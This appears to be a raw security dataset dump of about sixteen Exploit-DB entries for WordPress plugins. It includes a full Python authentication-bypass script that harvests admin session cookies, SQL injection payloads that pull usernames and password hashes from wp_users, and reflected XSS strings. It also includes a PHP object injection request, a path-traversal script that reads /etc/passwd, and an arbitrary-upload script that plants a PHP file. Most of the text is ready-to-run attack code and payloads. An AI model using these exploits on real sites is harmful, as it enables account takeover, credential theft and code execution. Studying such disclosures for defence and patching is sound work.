deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47832
Description: WordPress Plugin Ultimate Addons for Beaver Builder 1.2.4.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2019-12-31
Author: Raphael Karger

Exploit:
# Exploit Title: Wordpress Ultimate Addons for Beaver Builder 1.2.4.1 - Authentication Bypass
# Date: 2019-12-21
# Exploit Authors: Raphael Karger & Nathan Hrncirik
# Vendor Homepage: https://www.ultimatebeaver.com/
# Version: Ultimate Addons for Beaver Builder < 1.2.4.1
'''

Requirements:
    * Valid Admin/User Email Needs to be Known
    * Social Media Login Form has to be Embedded in the Specified URL

'''

#!/usr/bin/python3

import requests
import urllib.parse
import json
import argparse

banner = r''' ____ ___  _____ _______________________________              .__         .__  __   
|    |   \/  _  \\______   \______   \_   _____/__  _________ |  |   ____ |__|/  |_ 
|    |   /  /_\  \|    |  _/|    |  _/|    __)_\  \/  /\____ \|  |  /  _ \|  \   __\
|    |  /    |    \    |   \|    |   \|        \>    < |  |_> >  |_(  <_> )  ||  |  
|______/\____|__  /______  /|______  /_______  /__/\_ \|   __/|____/\____/|__||__|  
                \/       \/        \/        \/      \/|__|                         
Ultimate Addons for Beaver Builder < 1.2.4.1 - Authentication Bypass
'''

class exploit(object):
    def __init__(self, page, email):
        self.page = page
        self.sess = requests.Session()
        self.email = email
        self.nonce = False

    def get_nonce(self):
        try:
            nonce_req = self.sess.get(self.page)
            if nonce_req.text.find("data-nonce=") != -1:
                self.nonce = nonce_req.text.split("data-nonce=")[1].split(">")[0]
        except Exception as e:
            print("Nonce Error: {}".format(e))

    def auth_bypass(self):
        try:
            schema = urllib.parse.urlparse(self.page)
            resp = self.sess.post("{}://{}/wp-admin/admin-ajax.php".format(schema.scheme, schema.netloc), data={
                    "action" : "uabb-lf-google-submit",
                    "name" : "raphaelrocks",
                    "email" : self.email,
                    "nonce" : self.nonce
            })
            if resp.status_code == 200:
                print("Exploit Successful, Use the Cookies to Login: \n{}".format(
                    json.dumps(self.sess.cookies.get_dict(), indent=4)
                ))
        except Exception as e:
            print("Auth Bypass Error: {}".format(e))

    def begin_exploit(self):
        self.get_nonce()
        if self.nonce:
            print("Found Nonce: {}".format(self.nonce))
            self.auth_bypass()
        else:
            print("Failed to Gather Nonce")

if __name__ == "__main__":
    print(banner)
    parser = argparse.ArgumentParser()
    parser.add_argument("-e", "--email", dest="email", help="Email of Administrator User/Privileged User", required=True)
    parser.add_argument("-u", "--url", dest="url", help="URL With Social Media Login Form", required=True)
    args = parser.parse_args()
    ex = exploit(args.url, args.email)
    ex.begin_exploit()
Exploit-DB #44884
Description: WordPress Plugin Ultimate Form Builder Lite < 1.3.7 - SQL Injection
Type: webapps
Platform: php
Date: 2018-06-12
Author: defensecode

Exploit:
# Title: WordPress Ultimate Form Builder Lite Plugin < 1.3.7 - SQL Injection
# Author: defensecode
# Date: 2018-06-12
# Software: WordPress Ultimate Form Builder Lite plugin
# Version: 1.3.7 and below

# The easiest way to reproduce the SQL injection vulnerability is to
# visit the provided URL while being logged in as administrator or
# another user that is authorized to access the plugin settings page.
# Users that do not have full administrative privileges could abuse the
# database access the vulnerability provides to either escalate their
# privileges or obtain and modify database contents they were not
# supposed to be able to.

# SQL injection
# Vulnerable Function:  $wpdb->get_row()
# Vulnerable Variable:  $_POST['entry_id']
# Vulnerable URL:       http://vulnerablesite.com/wp-admin/admin-ajax.php
# Vulnerable POST body:

entry_id=ExploitCodeHere&_wpnonce=xxx&action=ufbl_get_entry_detail_action

# Disclosure Timeline
# 2018/06/01   Vulnerabilities discovered
# 2018/06/06   Vendor contacted
# 2018/06/08   Vendor responded
# 2018/06/12   Advisory released to the public
Exploit-DB #50345
Description: WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-09-28
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)
# Date: 3/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/ultimate-maps-by-supsystic/
# Version: 1.2.4
# Tested on: Windows 10
# CVE: CVE-2021-24274

1. Description:
The plugin did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue

2. Proof of Concept:
/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
Exploit-DB #43065
Description: WordPress Plugin Ultimate Product Catalog 4.2.24 - PHP Object Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: tomplixsee

Exploit:
# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]
# Google Dork: [NA]
# Date: [Okt 30 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]
# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]
# Version: [<= 4.2.24] 
# Tested on: [Ubuntu Server 16.04]
# CVE : [NA]

tested on app version 4.2.23, 4.2.24

we can send an evil cookie (login not required) to vulnerable function
1. vulnerable code on Functions/Process_Ajax.php <= tested

   203 // Adds an item to the plugin's cart
   204 function UPCP_Add_To_Cart() {
   205 global $woocommerce;
   206 global $wpdb;
   207 global $items_table_name;
   208
   209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");
   210
   211 if ($WooCommerce_Checkout == "Yes") {
   212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));
   213 echo "WC ID: " . $WC_Prod_ID . "<Br>";
   214 $woocommerce->cart->add_to_cart($WC_Prod_ID);
   215 }
   216
   217 if (isset($_COOKIE['upcp_cart_products'])) {
   218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));
   219 }
   220 else {
   221 $Products_Array = array();
   222 }
   223
   224 $Products_Array[] = $_POST['prod_ID'];
   225 $Products_Array = array_unique($Products_Array);
   226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");
   227 }
   228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');
   229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );

2. vulnerable code on Functions/Shortcodes.php <= not tested
  
POC
1. use a WP plugin to test php object injection, 
like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/

2. make a request 
#-----------------------------------
#! /usr/bin/python
import requests
url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";
data = {'action':'upcp_add_to_cart'}
headers = {
'Content-type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'
}
r = requests.post(url, data=data, headers=headers)

print r.content

#------------------------------------
Exploit-DB #36823
Description: WordPress Plugin Ultimate Product Catalogue - SQL Injection (1)
Type: webapps
Platform: php
Date: 2015-04-23
Author: Felipe Molina

Exploit:
# Exploit Title: Unauthenticated SQLi in Item_ID POST parameter on Ultimate
Product Catalogue wordpress plugin
# Google Dork: inurl:"SingleProduct" intext:"Back to catalogue"
intext:"Category",
inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/"
# Date: 22/04/2015
# Exploit Author: Felipe Molina de la Torre (@felmoltor)
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/
# Software Link:
https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip
# Version: < 3.1.2, Comunicated and Fixed by the Vendor in 3.1.3
# Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache
2.4.0 (Ubuntu)
# CVE : Requested to mitre but not assigned yet
# Category: webapps

1. Summary:

    Ultimate Product Catalogue is a responsive and easily customizable
plugin for all your product catalogue needs. It has +59.000 downloads,
+3.000 active installations.

    Unauthenticated SQL injection in ajax call when the plugin is counting
the times a product is being seen by the web visitors. The vulnerable POST
parameter is "Item_ID".

2. Vulnerability timeline:
- 22/04/2015: Identified in version 3.1.2
- 22/04/2015: Comunicated to developer company etoilewebdesign.com
- 22/04/2015: Response from etoilewebdesign.com and fixed version in 3.1.3
3. Vulnerable code:

    In file Functions/Process_Ajax.php line 67:
 [...]
$Item_ID = $_POST['Item_ID'];
        $Item = $wpdb->get_row("SELECT Item_Views FROM $items_table_name
WHERE Item_ID=" . $Item_ID);
[...]

3. Proof of concept:

    POST /wp-admin/admin-ajax.php HTTP/1.1
  Host: <wordpress host>
  [...]
  Cookie: wordpress_f305[...]

  Item_ID=2 AND SLEEP(5)&action=record_view

4. Solution:

    Update to version 3.1.3
Exploit-DB #36824
Description: WordPress Plugin Ultimate Product Catalogue - SQL Injection (2)
Type: webapps
Platform: php
Date: 2015-04-23
Author: Felipe Molina

Exploit:
# Exploit Title: Unauthenticated SQLi on Ultimate Product Catalogue
wordpress plugin
# Google Dork: inurl:"SingleProduct" intext:"Back to catalogue"
intext:"Category",
inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/"
# Date: 22/04/2015
# Exploit Author: Felipe Molina de la Torre (@felmoltor)
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/
# Software Link:
https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip
# Version: < 3.1.2, Comunicated and Fixed by the Vendor in 3.1.3
# Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turnedd off, Apache
2.4.0 (Ubuntu)
# CVE : Requested to mitre but not assigned yet
# Category: webapps

1. Summary:

     Ultimate Product Catalogue is A responsive and easily customizable
plugin for all your product catalogue needs. It has +59.000 downloads,
+3.000 active installations.

 Unauthenticated SQL injection in parameter "SingleProduct" when a web
visitor explores a product published by the web administrator

2. Vulnerability timeline:
- 22/04/2015: Identified in version 3.1.2
- 22/04/2015: Comunicated to developer company etoilewebdesign.com
- 22/04/2015: Response from etoilewebdesign.com and fixed version in 3.1.3
3. Vulnerable code:

    File Functions/Shortcodes.php line 779

3. Proof of concept

    http://<wordpress site>/?SingleProduct=2'+and+'a'='a
    http://<wordpress site>/?SingleProduct=2'+and+'a'='b

4. Solution:

    Update to version 3.1.3
Exploit-DB #42263
Description: WordPress Plugin Ultimate Product Catalogue 4.2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-27
Author: Lenon Leite

Exploit:
# Exploit Title: Ultimate Product Catalogue 4.2.2 Sql Injection – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/

# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.2.2
# Tested on: Ubuntu 16.04

1 - Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<*form method="post"
action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT
user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

*delete “*” in code*

3 - Timeline:

- 22/05/2017 – Discovered
- 24/05/2017 – Vendor not finded
- **/06/2017 - Corrected

***Rename plugin txt to zip. Problem with gmail block.
-- 
*Atenciosamente*

*Lenon Leite​​*
Exploit-DB #48065
Description: WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2020-02-13
Author: Mehran Feizi

Exploit:
# Title  : WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion
# Author : mehran feizi
# Vendor : https://wordpress.org/plugins/ultimate-member/
# Category : Webapps
# Date : 2020-02-11
# Vendor home page: https://wordpress.org/plugins/ultimate-member/

Vulnerable Page:
/class-admin-upgrade.php


Vulnerable Source:
354: if(empty($_POST['pack'])) else
356: include_once include_once $this->packages_dir . DIRECTORY_SEPARATOR . $_POST['pack'] . DIRECTORY_SEPARATOR . 'init.php';


Exploit:
localhost/wp-content/plugins/worprees plugin bug dar/ultimate-member/includes/admin/core/class-admin-upgrade.php
$_POST('pack')=<script>alert('xss')</script>
Exploit-DB #17704
Description: WordPress Plugin UnGallery 1.5.8 - Local File Disclosure
Type: webapps
Platform: php
Date: 2011-08-20
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress UnGallery plugin <= 1.5.8 Local File Disclosure Vulnerability
# Date: 2011-08-20
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/ungallery.1.5.8.zip
# Version: 1.5.8 (tested)

---
PoC
---
#!/bin/python

import urllib2

FILEPATH = "/etc/passwd"

req = urllib2.urlopen("http://www.site.com/wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../../../..%s" % FILEPATH)

print "Filepath: '%s'" % FILEPATH
print "Content: %s" % repr(req.read())

---------------
Vulnerable code
---------------
if ($_GET['pic']) {
	$filename = $_GET['pic'];
	$len = filesize($filename);
	$lastslash =  strrpos($filename, "/");
	$name =  substr($filename, $lastslash + 1);   

	header("Content-type: image/jpeg;\r\n");
	header("Content-Length: $len;\r\n");
	header("Content-Transfer-Encoding: binary;\r\n");
	header('Content-Disposition: inline; filename="'.$name.'"');	//  Render the photo inline.
	readfile($filename);
}
Exploit-DB #31836
Description: WordPress Plugin Upload File - 'wp-uploadfile.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-24
Author: eserg.ru

Exploit:
source: https://www.securityfocus.com/bid/29352/info

The Upload File plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-uploadfile.php?f_id=null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
Exploit-DB #38355
Description: WordPress Plugin Uploader - 'blog' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-01
Author: CodeV

Exploit:
source: https://www.securityfocus.com/bid/58285/info

The Uploader Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Uploader 1.0.4 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3Cscript%3Ealert%28123%29;%3C/script%3E
Exploit-DB #38163
Description: WordPress Plugin Uploader - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2013-01-03
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/57112/info

The Uploader plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Uploader 1.0.4 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$uploadfile="lo.php";
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/uploader/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>"/wordpress/wp-content/uploads",
'fileext'=>'php'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.example.com/wordpress/wp-content/uploads/lo.php

lo.php
<?php
phpinfo();
?>
Exploit-DB #35255
Description: WordPress Plugin Uploader 1.0 - 'num' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-24
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/45984/info

The Uploader Plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Uploader 1.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/wp-content/plugins/uploader/views/notify.php?num=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #37070
Description: WordPress Plugin Uploadify Integration 0.9.6 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-06
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/52944/info

Uploadify Integration plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Uploadify Integration 0.9.6 is vulnerable; other prior versions may also be affected. 

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?inputname="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?buttontext="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?filetypeexts="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?filetypedesc="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?filesizelimit="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?uploadmode="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?metatype="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?parentid="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?path="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
shortcode/index.php?url="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
partials/file.php?fileid="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
partials/file.php?inputname="><script>alert(String.fromCharCode(88,83,83))</script>

http://www.example.com/wp331/wp-content/plugins/uploadify-integration/views/scripts/
file/error.php?error="><script>alert(String.fromCharCode(88,83,83))</script>
Exploit-DB #17627
Description: WordPress Plugin UPM Polls 1.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-06
Author: Miroslav Stampar

Exploit:
# Exploit Title: UPM Polls <= 1.0.3 SQL Injection Vulnerability
# Date: 2011-08-06
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip
# Version: 1.0.3 (tested)

---
PoC
---
#!/bin/python

import re
import urllib2
import urlparse

url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20")
req = urllib2.Request(url=url, headers={"Referer": url})
content = urllib2.urlopen(req).read()
match = re.search(r"`(.+)`", content)

print match.group(1) if match else "None"

---------------
Vulnerable code
---------------
$ref = parse_url( $_SERVER['HTTP_REFERER'] );
if( $_SERVER["HTTP_HOST"] != $ref['host'] ){
	exit('UPM Error:128');
}

...

$QID = $_GET['qid'];
$POLL = $wpdb->get_row("SELECT * FROM `".$wpdb->prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A);
Exploit-DB #18231
Description: WordPress Plugin UPM Polls 1.0.4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-12-11
Author: Saif

Exploit:
# Exploit Title: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4
# Google Dork: n/a
# Date: 04-12-2011
# Author: Saif El-Sherei
# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip
# Version: 1.0.4
# Tested on: wordpress 3.2.1,Firefox 4, XAMPP


Info:

Best Plugin to create Polls for your site. Everything is smoother, faster,
and seamless like WordPress itself.

    Poll Manager,
        Ability to set general and post/page specific polls,
        Ability to leaf over the polls
        Ability to add certain poll in certain post content
        Ability to show polls either with and without current results of
polls


Details:

the Variable PID is not properly sanitized in the get request before
insertion into the database query; allowing an attaacker or any user who
can view poll results (supposedly   all user) to use blind sql injection to
extract database data and possibly compromise the whole server. a POC is
provided with both true and false results.

POC 1(TRUE):

http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and
1=1

"poll results for poll 2 is displayed"

POC 2 (FALSE):

http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and
1=2

"Blank page is displayed"

Time Line:
04-12-2011 Vulnerability discovered
04-12-2011 Vendor notified
11-12-2011 No response from vendor, public disclosure